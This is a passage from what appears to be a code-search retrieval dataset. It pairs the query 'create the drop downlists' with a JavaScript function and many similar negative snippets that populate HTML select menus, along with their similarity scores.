indexj++;\n });\n\n\n\n $(\"#Scountry\").val(defcountry);\n $(\"#Scountry\").trigger(\"create\");\n}", "function dropDownComponents(){\n\n // loads the city into the city box\n cityList.forEach((city) => {\n \n citySelector.append(\"option\").text(`${city}`);\n });\n\n // loads the state into the state box\n stateList.forEach((state) => {\n stateSelector.append(\"option\").text(`${state}`);\n });\n\n // loads the state into the state box\n countryList.forEach((country) => {\n countrySelector.append(\"option\").text(`${country}`);\n });\n\n // loads the state into the state box\n shapeList.forEach((shape) => {\n shapeSelector.append(\"option\").text(`${shape}`);\n });\n}", "function generarSelect() {\n\n\n for (let i = 0; i < categorias.length; i++) {\n\n\n\n document.getElementById(\"cat\").innerHTML +=\n\n ` <option value=\"${i}\">${categorias[i].nombreCategoria}</option>`;\n\n\n }\n}", "function generateDropDowns(data) {\n\n // loop through the data to find the information needed for the drop down lists for city\n // state, country and shape\n\n // console.log(data)\n data.forEach(datarow => {\n // get the value of the different song names and push them into an array\n\n sox = (datarow[0]);\n if (songkey.indexOf(sox) === -1) {\n songkey.push(sox);\n }\n\n });\n\n url = local + \"/get_top100_sql/performer/*\"\n d3.json(url).then(function (data) {\n\n data.forEach(datarow => {\n\n pex = (datarow[0]);\n if (perfkey.indexOf(pex) === -1) {\n perfkey.push(pex);\n }\n });\n\n perfkey.sort();\n document.getElementById(\"performerselect\").innerHTML = generatetxt(perfkey);\n });\n\n for (var i = 1958; i < 2001; i++) {\n yearkey.push(i)\n };\n\n for (var i = 1; i < 101; i++) {\n peakkey.push(i)\n };\n\n\n document.getElementById(\"peakselect\").innerHTML = generatetxt(peakkey);\n perfkey.sort();\n document.getElementById(\"performerselect\").innerHTML = generatetxt(perfkey);\n songkey.sort();\n document.getElementById(\"songselect\").innerHTML = generatetxt(songkey);\n\n document.getElementById(\"yearselect\").innerHTML = generatetxt(yearkey);\n\n}", "function getDescription(){\n\t\tvar str = \"Select Tool\";\n\n\t\treturn str;\n\t}", "function fnCategory() {\n for (var i = 0; i < category_g.length; i++) {\n $('#ddlCategory').append('<option value=\"' + category_g[i].Value + '\" >' + category_g[i].Text + '</option>');\n }\n}", "function newSelectItemValue(text, value) {\r\n //String compilation\r\n ///Correctly formats HTML to be appended to the input box, returned at the end of the function\r\n var option = \"<option value='\" + value + \"'>\" + text + \"</option>\";\r\n\r\n return option\r\n}", "function dropDownInsert(txt , selections) {\r\n\tif(window.isIE)\r\n\t{\r\n\t\ttxtBoxInsert(txt);\r\n\t\treturn false;\r\n\t}\r\n\tvar UIX = parseInt( getUniqueID() );\r\n\tvar newID = 'qry'+UIX\r\n\tvar options = selections.split(';');\r\n\t\r\n\tvar nProps = new Object();\r\n\tnProps.id = newID;\r\n\tnProps[\"class\"] = \"qryPart\";\r\n\tnProps.className='qryPart';\r\n\taddElement( 'components_builder' , 'div' , txt , nProps );\r\n\t\r\n\tvar iProps = new Object();\r\n\tiProps.id = 'selector_'+newID;\r\n\tiProps.type = 'text';\r\n\tvar selector = addElement( newID , 'select' , null , iProps );\r\n\t\r\n\tvar props = new Object();\r\n\tprops.id = '';\r\n\tprops. value = '';\t\t\r\n\tfor(var i=0;i<options.length;i++) {\r\n\t\tprops.id = 'option_'+i+'_'+newID;\r\n\t\tprops. value = options[i];\r\n\t\taddElement( 'selector_'+newID , 'option' , options[i] , props );\r\n\t}\r\n\t\r\n\tvar aProps = new Object();\r\n\taProps.id = newID+'_closer';\r\n\taProps.href = 'javascript:;';\r\n\taProps[\"class\"] = \"closer\";\r\n\taProps.className='closer';\r\n\tvar a = addElement( newID , 'span' , 'x' , aProps );\r\n\ta.onclick = function(){ deleteItem( 'components_builder' , newID ); };\r\n}", "function CreateSelectHTML (array) \n{\n var temp = \"\";\n\n for (var i = 0; i < array.length; i++) \n {\n temp += \"<option>\" + array[i] + \"</option>\";\n };\n\n return temp;\n}", "function dropdownChange(motor, motorName) {\r\n var kawasako = ['Kawasako x56', 'Kawasako x57', 'Kawasako Black Sun', 'Kawasako Cross950', 'Kawasako Monster-21', 'Kawasako 21SF'];\r\n var vixian = ['Vixian XF262', 'Vixian CF300', 'Vixian Lumiere160', 'Vixian MT-1260', 'Vixian MT-V4', 'Vixian SP01'];\r\n\r\n switch (motor.value) {\r\n case 'Kawasako':\r\n motorName.options.length = 0;\r\n for (i = 0; i < kawasako.length; i++) {\r\n createOption(motorName, kawasako[i], kawasako[i]);\r\n }\r\n break;\r\n case 'Vixian':\r\n motorName.options.length = 0;\r\n for (i = 0; i < vixian.length; i++) {\r\n createOption(motorName, vixian[i], vixian[i]);\r\n }\r\n break;\r\n default:\r\n motorName.options.length = 0;\r\n break;\r\n }\r\n}", "function populateResourceDropdown(dropdown2)\n{\n addOption(dropdown2, \"--\");\n addOption(dropdown2, \"Course Reserve Textbooks\");\n addOption(dropdown2, \"eBooks\");\n addOption(dropdown2, \"Facillitated Study Groups\");\n addOption(dropdown2, \"Office Hours\");\n addOption(dropdown2, \"Online Tutorials\");\n addOption(dropdown2, \"Software\");\n addOption(dropdown2, \"Tutors\");\n}", "function addSelectText () {\n const selectText = document.createElement('div');\n selectText.id = \"selectText\";\n pageContent.appendChild(selectText);\n const headerSelectText = document.createElement('h2');\n headerSelectText.id = \"headerSelectText\";\n headerSelectText.textContent = \"Select your weapon:\";\n selectText.appendChild(headerSelectText);\n}", "function dropback_dropdown(){ \n // Adapted from: https://www.encodedna.com/javascript/populate-select-dropdown-list-with-json-data-using-javascript.htm\n var ele = document.getElementById('sel_dropback');\n var dropbackchoice = Object.keys(typeDropback)\n for (var i = 0; i < dropbackchoice.length; i++) {\n ele.innerHTML = ele.innerHTML + '<option value=\"' + dropbackchoice[i] + '\">' + dropbackchoice[i] + '</option>';\n };\n\n}", "function populateCourseDropdown(dropdown1)\n{\n addOption(dropdown1, \"--\");\n addOption(dropdown1, \"CIVE-2000\");\n addOption(dropdown1, \"CIVE-2200\");\n addOption(dropdown1, \"CIVE-3000\");\n addOption(dropdown1, \"CIVE-3100\");\n addOption(dropdown1, \"CIVE-3200\");\n addOption(dropdown1, \"CIVE-3300\");\n addOption(dropdown1, \"COMP-1000\");\n addOption(dropdown1, \"COMP-1100\");\n addOption(dropdown1, \"COMP-2000\");\n addOption(dropdown1, \"COMP-2500\");\n addOption(dropdown1, \"COMP-3071\");\n addOption(dropdown1, \"ELEC-2299\");\n addOption(dropdown1, \"ENGR-1800\");\n addOption(dropdown1, \"MECH-1000\");\n addOption(dropdown1, \"MECH-2250\");\n addOption(dropdown1, \"MECH-3100\");\n}", "render() {\n\t\treturn `\n\t\t\t<div id=\"toolbar\" class=\"box\">\n\t\t\t\t${this.optionAll.render()}\n\t\t\t\t${this.options.map((option)=>{\n\t\t\t\t\treturn this['option'+option.id].render()\n\t\t\t\t}).join('')}\n\t\t\t</div>\n\t\t`;\n\t}", "function createDropdown(parentDiv, text, dropdownId, behavior)\n{\n parentDiv.appendChild(document.createElement(\"br\"));\n \n label = document.createElement(\"strong\");\n label.textContent = text;\n parentDiv.appendChild(label);\n \n var dropdown = document.createElement(\"select\");\n dropdown.id = dropdownId;\n dropdown.onchange = behavior;\n parentDiv.appendChild(dropdown);\n}", "function generateSentence() {\r\n return selectChud()+' '+selectVerb()+' '+selectLefty()+' With '+selectAdjective()+' '+selectEnding();\r\n}", "add_item(tag, text) {\r\n $(tag).prepend('\\\r\n <a class=\"dropdown-item\">'+text+'</a>\\\r\n <div class=\"dropdown-divider\"></div>\\\r\n ')\r\n }", "function catArrayPrint(){\n var catString = \"\";\n catString += `<select>`\n catString += `<option>Select Category</option>`\n for (var k=0; k<categoriesArray.length; k++){\n catString += `<option>${categoriesArray[k].name}</option>`\n }\n catString += `</select>`;\n $(\"#explosiveDiv\").append(catString);\n \n }", "printCategory(categories) {\n const categorySelect = document.getElementById('categorySelect');\n let html = `<option value=\"\">Cualquier Categoria</option>`\n\n categories.forEach((category) =>{\n html +=`<option value=\"&category=${category.id}\">${category.name}</option>`;\n });\n\n categorySelect.innerHTML= html;\n }", "function generate_hint_select_box() {\n var template = '';\n template += '<div class=\"crosswords-horizontal-text-div\"><div class=\"crosswords-hint-head-label-wrapper\"><label for=\"edit-field-crosswords-horizontal-text\">Write Hints: Horizontale/ Across</label><input type=\"button\" name=\"add_more_horizontal_row\" value=\"&nbsp;Add&nbsp;\" class=\"add_more_horizontal_row_hint_button\" />&nbsp;&nbsp;<input type=\"button\" name=\"remove_horizontal_row\" value=\"Remove\" class=\"remove_horizontal_row_hint_button\" />&nbsp;&nbsp;<span class=\"add_remove_horizontal_row_hint_msg\"></span></div><ul class=\"crosswords-horizontal-ul-wrapper\">';\n for (var i = 1; i <= 40; i++) {\n template += '<li class=\"crosswords-hint-hrow-litag crosswords-hint-hrowline-' + i + '\"><ul class=\"crosswords-horizontal-ul\"><li><select name=\"crosswords-horizontal-r-' + i + '\" id=\"crosswords-horizontal-r-' + i + '\" class=\"crosswords-horizontal-r-class\">' + generate_option_box(20, 'Row', '') + '</select></li><li><select name=\"crosswords-horizontal-c' + i + '\" id=\"crosswords-horizontal-c-' + i + '\" class=\"crosswords-horizontal-c-class\" >' + generate_option_box(20, 'Col', '') + '</select></li><li><input type=\"text\" name=\"crosswords-horizontal-h-' + i + '\" id=\"crosswords-horizontal-h-' + i + '\" size=\"\" maxlength=\"200\" class=\"crosswords-input-class crosswords-horizontal-i-class\" /></li></ul></li>';\n }\n template += '</ul></div>';\n\n template += '<div class=\"crosswords-verticle-text-div\"><div class=\"crosswords-hint-head-label-wrapper\"><label for=\"edit-field-crosswords-verticle-text\">Write Hints: Verticale/ Down</label><input type=\"button\" name=\"add_more_verticle_row_hint\" value=\"&nbsp;Add&nbsp;\" class=\"add_more_verticle_row_hint_button\" />&nbsp;&nbsp;<input type=\"button\" name=\"remove_verticle_row_hint\" value=\"Remove\" class=\"remove_verticle_row_hint_button\" />&nbsp;&nbsp;<span class=\"add_remove_verticle_row_hint_msg\"></span></div><ul class=\"crosswords-verticle-ul-wrapper\">';\n for (var j = 1; j <= 40; j++) {\n template += '<li class=\"crosswords-hint-vrow-litag crosswords-hint-vrowline-' + j + '\"><ul class=\"crosswords-verticle-ul\"><li><select name=\"crosswords-verticle-r-' + j + '\" id=\"crosswords-verticle-r-' + j + '\" class=\"crosswords-verticle-r-class\">' + generate_option_box(20, 'Row', '') + '</select></li><li><select name=\"crosswords-verticle-c-' + j + '\" id=\"crosswords-verticle-c-' + j + '\" class=\"crosswords-verticle-c-class\">' + generate_option_box(20, 'Col', '') + '</select></li><li><input type=\"text\" name=\"crosswords-verticle-h-' + j + '\" size=\"\" id=\"crosswords-verticle-h-' + j + '\" maxlength=\"200\" class=\"crosswords-input-class crosswords-verticle-i-class\" /></li></ul></li>';\n }\n template += '</ul></div>';\n return template;\n }", "function printLanguageList(language_items) {\n\tvar language_list_parent = document.getElementById(\"language-items\");\n\tvar language_list = \"\";\n\tfor (i = 0; i < language_items.length; i++) {\n\t\tlanguage_list = language_list + \"<a class=\\\"dropdown-item\\\" role=\\\"presentation\\\" href=\\\"\" + language_items[i].link + \"\\\">\";\n\t\tlanguage_list = language_list + \"<img src=\\\"\" + language_items[i].img + \"\\\" class=\\\"icon-flag mr-2 img-fluid\\\" alt=\\\"Language Item\\\"/>\"\n\t\tlanguage_list = language_list + language_items[i].country + \" - \" + language_items[i].language;\n\t\tlanguage_list = language_list + \"</a>\";\n\t}\n\t\n\tlanguage_list_parent.innerHTML = language_list;\n}" ]
[ "0.6655797", "0.65427953", "0.6528663", "0.65286547", "0.6527513", "0.6521445", "0.6498151", "0.6486527", "0.6465836", "0.6464203", "0.64605117", "0.6449408", "0.64329875", "0.64152974", "0.63974726", "0.63766134", "0.63613415", "0.6350097", "0.63302433", "0.6330049", "0.632619", "0.63122404", "0.6307895", "0.6292619", "0.62805116", "0.6265637", "0.6253681", "0.62492746", "0.6248834", "0.624136", "0.6237464", "0.62294453", "0.62275416", "0.6225741", "0.62126034", "0.61985815", "0.61965704", "0.61965704", "0.6165378", "0.61641115", "0.6154571", "0.614532", "0.6135244", "0.61297613", "0.6121929", "0.61195385", "0.61124635", "0.61111826", "0.61083007", "0.6102513", "0.6092728", "0.6090023", "0.60857666", "0.60768956", "0.60653526", "0.6060799", "0.6050554", "0.60440767", "0.60423756", "0.604234", "0.6036977", "0.6036258", "0.6025923", "0.6019471", "0.60064447", "0.6003199", "0.60019886", "0.59989846", "0.59977627", "0.599129", "0.5990649", "0.5984908", "0.59840125", "0.59803706", "0.5977429", "0.59588677", "0.59586096", "0.59541625", "0.59434354", "0.59397024", "0.5938389", "0.59355646", "0.5934029", "0.59258974", "0.59248215", "0.5921829", "0.59197587", "0.591472", "0.5908445", "0.5901764", "0.58991706", "0.5891743", "0.588659", "0.5886416", "0.588545", "0.58836627", "0.5877243", "0.58747965", "0.5874482", "0.5873847" ]
0.75037146
0
create the drop downlists
function generateDropDowns(data) { // loop through the data to find the information needed for the drop down lists for city // state, country and shape // console.log(data) data.forEach(datarow => { // get the value of the different song names and push them into an array sox = (datarow[0]); if (songkey.indexOf(sox) === -1) { songkey.push(sox); } }); url = local + "/get_top100_sql/performer/*" d3.json(url).then(function (data) { data.forEach(datarow => { pex = (datarow[0]); if (perfkey.indexOf(pex) === -1) { perfkey.push(pex); } }); perfkey.sort(); document.getElementById("performerselect").innerHTML = generatetxt(perfkey); }); for (var i = 1958; i < 2001; i++) { yearkey.push(i) }; for (var i = 1; i < 101; i++) { peakkey.push(i) }; document.getElementById("peakselect").innerHTML = generatetxt(peakkey); perfkey.sort(); document.getElementById("performerselect").innerHTML = generatetxt(perfkey); songkey.sort(); document.getElementById("songselect").innerHTML = generatetxt(songkey); document.getElementById("yearselect").innerHTML = generatetxt(yearkey); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function createDropdowns() {\n //region\n region_options = '';\n for (var i in region_info){\n region_options += '<option value=\"' + region_info[i] + '\">'+ region_info[i] + '</option>'\n }\n $('#id_region').append($.parseHTML(region_options));\n //habitat\n habitat_options = '';\n for (var i in habitat_info){\n habitat_options += '<option value=\"' + habitat_info[i] + '\">'+ habitat_info[i] + '</option>'\n }\n $('#id_habitat').append($.parseHTML(habitat_options));\n //status\n status_options = '';\n for (var i in status_info){\n status_options += '<option value=\"' + status_info[i] + '\">'+ status_info[i] + '</option>'\n }\n $('#id_status').append($.parseHTML(status_options));\n //family\n family_options = '';\n for (var i in family_info){\n family_options += '<option value=\"' + family_info[i] + '\">'+ family_info[i] + '</option>'\n }\n $('#id_family').append($.parseHTML(family_options));\n\n\n }", "function createDropDown(){\r\r\n\t\tvar $form = $(\"div#country-select form\");\r\r\n\t\t$form.hide();\r\r\n\t\tvar source = $(\"#country-options\");\r\r\n\t\tsource.removeAttr(\"autocomplete\");\r\r\n\t\tvar selected = source.find(\"option:selected\");\r\r\n\t\tvar options = $(\"option\", source);\r\r\n\t\t$(\"#country-select\").append('<dl id=\"target\" class=\"dropdown\"></dl>')\r\r\n\t\t$(\"#target\").append('<dt class=\"' + selected.val() + '\"><a href=\"#\"><span class=\"flag\"></span><em>' + selected.text() + '</em></a></dt>')\r\r\n\t\t$(\"#target\").append('<dd><ul></ul></dd>')\r\r\n\t\toptions.each(function(){\r\r\n\t\t\t$(\"#target dd ul\").append('<li class=\"' + $(this).val() + '\"><a href=\"' + $(this).attr(\"title\") + '\"><span class=\"flag\"></span><em>' + $(this).text() + '</em></a></li>');\r\r\n\t\t\t});\r\r\n\t}", "function populateDropdowns() {\n}", "function init(){\r\n\tgenDropDownList();\r\n}", "function createDropDown(inputList) {\n $(\"div[id='columnNameListParent']\").removeClass('d-none')\n deletChild('columnNameList')\n var dropdown = $('#columnNameList')\n dropdown.append($('<option>').attr({ value: 'none', label: 'Choose a column' }))\n inputList.forEach(element => {\n var entry = $('<option>').attr({ value: element, label: element })\n dropdown.append(entry)\n })\n $(\"div[id='filterSelection']\").removeClass('d-none')\n $(\"div[id='submitSection']\").removeClass('d-none')\n}", "createDropDownList(divId, selIndex, listName) {\n\t\tvar rows = this.matrix.length,\n\t\t\tcols = Object.keys(this.matrix[0]).length,\n\t\t\trow, col, line, country, option;\n\n\t\tvar ddList = '<select onchange=\"btnCompareClick()\" size=\"1\" name=\"' + listName + '\">';\n\n\t\tfor (row = 0; row < rows; row += 1) {\n\t\t\tcountry = this.matrix[row]['country'];\n\t\t\toption = '<option ';\n\t\t\tif (selIndex == row) {\n\t\t\t\toption = '<option selected ';\n\t\t\t}\n\n\t\t\tline = option + 'value=\"' + row + '\">' + country + '</option>';\n\t\t\tddList += line;\n\t\t}\n\t\tddList += '</select>';\n\t\t$('#' + divId).html(ddList);\n\n\t}", "function createDropDown() {\n var $source = $(\"#radiusSelect\");\n var $selected = $source.find(\"option[selected]\");\n var $options = $(\"option\", $source);\n \n\n $(\"#addy_in_radius\").append('<dl id=\"target\" class=\"dropdown\"></dl>');\n var $target = $(\"#target\");\n\n $target.append('<dt><a href=\"#\">' + $selected.text() + '<span class=\"value\">' +\n $selected.val() + '</span><i class=\"icon-angle-down\"></i></a></dt>');\n\n $target.append('<dd><ul></ul></dd>');\n\n $options.each(function(){\n $(\"#target dd ul\").append('<li><a href=\"#\">' + $(this).text()\n + '<span class=\"value\">' + $(this).val() + '</span></a></li>');\n });\n\n }", "function setUpDropdownMenu() {\n\tvar dropdown = document.getElementById(\"dictionary-title\");\n\n\tfor (var columnKey in Object.keys(dictionaries_in_dropdown_data)) {\n\t\t// Get column data from large column object\n\t\tvar column_data = dictionaries_in_dropdown_data[columnKey];\n\n\t\t// Create the option element for the dropdown\n\t\tvar option = document.createElement('option');\n\t\toption.text = column_data[\"title\"]; // set the text to be the title\n\t\toption.value = columnKey; \t\t\t// set the value to be the index\n\t\tdropdown.appendChild(option);\n\t}\n}", "function lists(ev)\r\n{\r\n list = JSON.parse(httd.responseText);\r\n size = list.length;\r\n var sel;\r\n if(start ==1)\r\n {\r\n sel = document.getElementById(\"uni0\");\r\n start--;\r\n }\r\n else \r\n {\r\n var c = num;\r\n sel = document.getElementById(\"uni\"+ --c);\r\n }\r\n for(var i = 0; i<size; i++)\r\n {\r\n var opt = document.createElement(\"Option\");\r\n opt.innerText= list[i].University_name;\r\n sel.appendChild(opt);\r\n }\r\n}", "function dropDownLists(category, options){\n var description = ['Two to Six Apartments, Over 62 Years', 'Mixed commercial/residential building, 6 units or less, sq ft less than 20,000', 'Two or three story non-fireproof corridor apartments,or california type apartments, interior entrance','Two or three story non-frprf. crt. and corridor apts or california type apts, no corridors, ex. entrance','Mixed use commercial/residential with apts. above seven units or more or building sq. ft. over 20,000'];\n var street = ['JUSTINE', 'TAYLOR', 'HARRISON','POLK','LAFLIN','FILLMORE','LEXINGTON','FLOURNOY','BISHOP','LOOMIS','VAN BUREN','ROOSEVELT','GRENSHAW','ADA','THROOP','JACKSON','LYTLE','RACINE','MAY','VERNON PARK','ABERDEEN','CARPENTER','MILLER','MORGAN','17TH','18TH','19TH','21ST','CULLERTON','CERMAK','DAMEN','WOOD','ASHLAND','BLUE ISLAND','ALLPORT','WASHBURNE','MAXWELL','PEORIA','WESTERN','GRAND','HADDON','ARTESIAN','DIVISION','ARTESIAN','SACRAMENTO','GEORGE','WHIPPLE','TROY','ALBANY','KEDZIE','SUPERIOR','OHIO'];\n var resType = ['1.5 - 1.9','Two Story', 'Three Story'];\n var bldUsg = ['Multi Family'];\n var extDesc = ['Masonry','Frame','Frame/Masonry'];\n var bsmtDesc = ['Partial and Unfinished','Partial and Apartment','Slab and Unfinished','Full and Apartment','Full and Formal Rec. Room','Full and Unfinished','Craw and Formal Rec. Room'];\n var atticDesc = ['Full and Living Area','Partial and Living Area','Frame/Masonry'];\n var garDesc = ['1 Car Detached','1 1/2 Car Detached','2 Cars Detached','2 Cars Attached','2 1/2 Cars Attched','3 Cars Detached','4 Cars Detached'];\n var appealStatus = ['Appeal Review Complete'];\n var appealResult = ['Assessed Value Adjusted','Assessed Value Not Adjusted'];\n\n switch (category.value) {\n case 'CLASS_DESCRIPTION':\n options.options.length = 0;\n for (i = 0; i < description.length; i++) {\n createOption(options, description[i], description[i]);\n }\n break;\n case 'Street':\n options.options.length = 0;\n for (i = 0; i < street.length; i++) {\n createOption(options, street[i], street[i]);\n }\n break;\n case 'RES_TYPE':\n options.options.length = 0;\n for (i = 0; i < resType.length; i++) {\n createOption(options, resType[i], resType[i]);\n }\n break;\n case 'BLDG_USE':\n options.options.length = 0;\n for (i = 0; i < bldUsg.length; i++) {\n createOption(options, bldUsg[i], bldUsg[i]);\n }\n break;\n case 'EXT_DESC':\n options.options.length = 0;\n for (i = 0; i < extDesc.length; i++) {\n createOption(options, extDesc[i], extDesc[i]);\n }\n break;\n case 'BSMT_DESC':\n options.options.length = 0;\n for (i = 0; i < bsmtDesc.length; i++) {\n createOption(options, bsmtDesc[i], bsmtDesc[i]);\n }\n break;\n case 'ATTIC_DESC':\n options.options.length = 0;\n for (i = 0; i < atticDesc.length; i++) {\n createOption(options, atticDesc[i], atticDesc[i]);\n }\n break;\n case 'GAR_DESC':\n options.options.length = 0;\n for (i = 0; i < garDesc.length; i++) {\n createOption(options, garDesc[i], garDesc[i]);\n }\n break;\n case 'APPEAL_A_STATUS':\n options.options.length = 0;\n for (i = 0; i < appealStatus.length; i++) {\n createOption(options, appealStatus[i], appealStatus[i]);\n }\n break;\n case 'APPEAL_A_RESULT':\n options.options.length = 0;\n for (i = 0; i < appealResult.length; i++) {\n createOption(options, appealResult[i], appealResult[i]);\n }\n break;\n default:\n options.options.length = 0;\n break;\n }\n\n}", "function setDropdown(data) {\n jsonData = JSON.parse(data);\n\n for (var key in jsonData) {\n document.getElementById('ddlFrom').appendChild(new Option(key, key));\n document.getElementById('ddlTo').appendChild(new Option(key, key));\n vertexList.push(key)\n }\n}", "function populateDatasetDropdownCurate(datasetDropdown, datasetlist) {\n removeOptions(datasetDropdown);\n\n /// making the first option: \"Select\" disabled\n addOption(datasetDropdown, \"Select dataset\", \"Select dataset\");\n var options = datasetDropdown.getElementsByTagName(\"option\");\n options[0].disabled = true;\n\n for (var myitem of datasetlist) {\n var myitemselect = myitem.name;\n var option = document.createElement(\"option\");\n option.textContent = myitemselect;\n option.value = myitemselect;\n datasetDropdown.appendChild(option);\n }\n}", "function fillDropdown(data)\n{\n\n\tfor (var i = 0; i < ITEM_TYPES.length; i++)\n\t{\n\t\tgenerateDropdown(data[ITEM_TYPES[i]], ITEM_TYPES[i]);\n\t}\n\tgenerateCloseoutDropdown();\n\n}", "function initSelectionLists() {\n vm.selectionLists.defendantRole = [\n { label: \"Primary Defendant\", value: \"prime\" },\n { label: \"Secondary Defendant\", value: \"secondary\" },\n { label: \"3rd Party Defendant \", value: \"tertiary\" },\n { label: \"Discontinued Defendant\", value: \"quaternary\" }\n ];\n\n vm.selectionLists.gender = [\n { label: \"Male\", value: \"male\" },\n { label: \"Female\", value: \"female\" },\n { label: \"Other\", value: \"other\" },\n { label: \"Not Specified\", value: \"Not Specified\" }\n ];\n\n }", "function loadDropDowns(myId, myshortList, myText) {\n // var tbody = d3.select(\"tbody\");\n var inputDate = d3.select(myId) \n \n inputDate.html(\" \");\n \n console.log(myshortList);\n var cell = inputDate.append(\"option\").text(myText);\n \n myshortList.forEach((f) => {\n console.log(f);\n var cell = inputDate.append(\"option\")\n cell.text(f);\n \n });\n }", "populate_dropdown() {\n let dropdown = $(\"#vertex-shader\");\n this.shader_lib.vertex_info.map((x, i) => {\n $('<option>')\n .val(i)\n .html(x.title)\n .appendTo(dropdown);\n });\n }", "function createDropDown(ids) {\n // select dropdown by id\n var dropdown = d3.select(\"#selDataset\");\n ids.forEach(function (item, index) {\n addDropdownOption(item, item);\n });\n\n}", "function optionList() {\n\n let objKeys = Object.keys(layoutObj);\n\n const labelElement = document.createElement('label')\n const inputElement = document.createElement('select')\n\n objKeys.map(objEach => {\n const labelElement = document.createElement('label');\n const inputElement = document.createElement('select');\n\n labelElement.htmlFor = layoutObj[objEach][0];\n labelElement.innerHTML = layoutObj[objEach][3];\n\n inputElement.id = layoutObj[objEach][0];\n inputElement.name = layoutObj[objEach][0];\n inputElement.className = 'optionSet';\n\n crtOptList(inputElement);\n document.querySelector('.form').appendChild(labelElement);\n document.querySelector('.form').appendChild(inputElement);\n\n if (layoutObj[objEach][0] === 'menu') {\n\n document.querySelector('#menu').childNodes[0].setAttribute('disabled', true)\n }\n })\n}", "function dropDownComponents(){\n\n // loads the city into the city box\n cityList.forEach((city) => {\n \n citySelector.append(\"option\").text(`${city}`);\n });\n\n // loads the state into the state box\n stateList.forEach((state) => {\n stateSelector.append(\"option\").text(`${state}`);\n });\n\n // loads the state into the state box\n countryList.forEach((country) => {\n countrySelector.append(\"option\").text(`${country}`);\n });\n\n // loads the state into the state box\n shapeList.forEach((shape) => {\n shapeSelector.append(\"option\").text(`${shape}`);\n });\n}", "function addSelCtgs() {\n // reset these properties couse after delete it is displayed 1st list\n optID = 0;\n slevel = 1;\n\n // if items in Root, shows 1st <select>, else, resets properties to initial value\n if(optHierarchy[0].length > 0) document.getElementById('n_sl'+slevel).innerHTML = getSelect(optHierarchy[0]);\n else {\n optHierarchy = {'0':[]};\n optData = {'0':{'value':'Root', 'content':'', 'parent':-1}};\n document.getElementById('n_sl'+slevel).innerHTML = '';\n }\n }", "function build_dropdown() {\r\n var options = ''; //holder all the <option>Place name</option>'s we're gonna build\r\n jQuery.each(places, function(i,place) { //for each of the places ...\r\n options += '<option>' + place + '</option>'; // ... add an option ...\r\n });\r\n jQuery('#dfm-select').html(options); // ... then use jQuery to put it inside the <select> tags in index.html\r\n dropdown_built = true; //set our flag from false to true\r\n}", "function build_select_list(target_field_name,results,layer_name){\r\n\tvar display_html = '<select name=\"'+target_field_name+'\" id=\"'+target_field_name+'\">';\r\n\tfor(i=0;i<results.length;i++){\r\n\t\tdisplay_html = display_html + '<option value=\"'+results[i].id+'\">' + results[i].label + '<\\/option>';\r\n\t}//end for\r\n\tdocument.getElementById(layer_name).innerHTML = display_html + '<\\/select>';\r\n}", "function createDropDown(arrayName, list){\n\n var rowsToAdd = [];\n\n for (var i = 0; i < arrayName.length; i++) {\n rowsToAdd.push(createRow(arrayName[i]));\n };\n\n list.empty();\n list.append(rowsToAdd);\n list.val(rowsToAdd);\n }", "function populateDropDown() { \r\n \r\n // select the panel to put data\r\n var dropdown = d3.select('#selDataset');\r\n jsonData.names.forEach((name) => {\r\n dropdown.append('option').text(name).property('value', name);\r\n });\r\n \r\n // set 940 as place holder ID\r\n populatedemographics(jsonData.names[0]);\r\n visuals(jsonData.names[0]);\r\n }", "function loadDropdown() {\n $('.rf-dropdown')\n .empty()\n .append(reportDropdown);\n\n var x;\n for (x in options) {\n var opts = options[x];\n if (options.hasOwnProperty(x)) {\n $('#rf-dropdown-list').append(\n $('<li>')\n .attr('id', 'soap-report-' + x)\n .attr('class', 'wds-global-navigation__dropdown-link')\n .on('click',loadForm)\n .text(opts.buttonText)\n );\n }\n }\n }", "function populateDropdownMenu(num, ddMenu, ddCB, ddItems, tags, identifier, term) {\n for (var i = 0; i < num ; i++) {\n ddCB[i] = createCheckBox();\n ddItems[i] = createItem(ddCB[i], tags[i], i, identifier, term);\n ddMenu.append(ddItems[i]);\n }\n }", "function loadDropdown() {\n $('.rf-dropdown')\n .empty()\n .append(reportDropdown);\n\n var x;\n for (x in options) {\n var opts = options[x];\n if (options.hasOwnProperty(x)) {\n $('#rf-dropdown-list').append(\n $('<li>')\n .attr('id', 'vstf-report-' + x)\n .attr('class', 'wds-global-navigation__dropdown-link')\n .on('click',loadForm)\n .text(opts.buttonText)\n );\n }\n }\n }", "function initLists() {\r\n\tconst questionTopics = ['Flow Control', 'Math Operations', 'Arrays', 'Strings', 'Recursion', 'Bit Manipulation'];\r\n\tconst questionDifficulties = ['Easy', 'Medium', 'Hard'];\r\n\r\n\tconst populateSelect = function (select, options) {\r\n\t\tfor (var i = 0; i < options.length; i++) {\r\n\t\t\tvar opt = options[i];\r\n\t\t\tvar el = document.createElement(\"option\");\r\n\t\t\tel.textContent = opt;\r\n\t\t\tel.value = opt;\r\n\t\t\tselect.appendChild(el);\r\n\t\t}\r\n\t}\r\n\t// populate select elements in new question form\t\r\n\tpopulateSelect(document.querySelector(\"#category\"), questionTopics);\r\n\tpopulateSelect(document.querySelector(\"#difficulty\"), questionDifficulties);\r\n\r\n\t// populate select elements in filters \r\n\tpopulateSelect(document.querySelector(\"#questions [name='category']\"), questionTopics);\r\n\tpopulateSelect(document.querySelector(\"#questions [name='difficulty']\"), questionDifficulties);\r\n\r\n\tpopulateSelect(document.querySelector(\"#allQuestions [name='category']\"), questionTopics);\r\n\tpopulateSelect(document.querySelector(\"#allQuestions [name='difficulty']\"), questionDifficulties);\r\n}", "function getDropDowns() {\n getList('author');\n getList('tags');\n }", "function createMenu(dataList, elementID) {\n let dropDownMenu = document.getElementById(elementID);\n for (let i=0; i < dataList.length; i++) {\n let optn = dataList[i];\n let newEl = document.createElement('option');\n newEl.textContent = optn;\n dropDownMenu.appendChild(newEl);\n }\n}", "function McDropdownPanel() { }", "function fillBehaviorDropDown ()\n {\n for (var i = 0; i < catLadyBehaviors.length; i++) {\n var description = catLadyBehaviors[i].description;\n var points = catLadyBehaviors[i].pointValue;\n var option = '<option value=\"' + i +'\">' + description + '</option>';\n $('#new-behavior-form .behaviors').append(option);\n }\n }", "function generateDropdown(object) {\n var values = object.value;\n var names = object.name;\n var dropdown = document.createElement(\"select\");\n dropdown.id = object.title;\n dropdown.classList.add(\"dropdown\");\n dropdown.addEventListener(\"change\", switchOption);\n document.getElementById(\"menu\").appendChild(dropdown);\n for (var i = 0; i < object.value.length; i++) {\n var option = 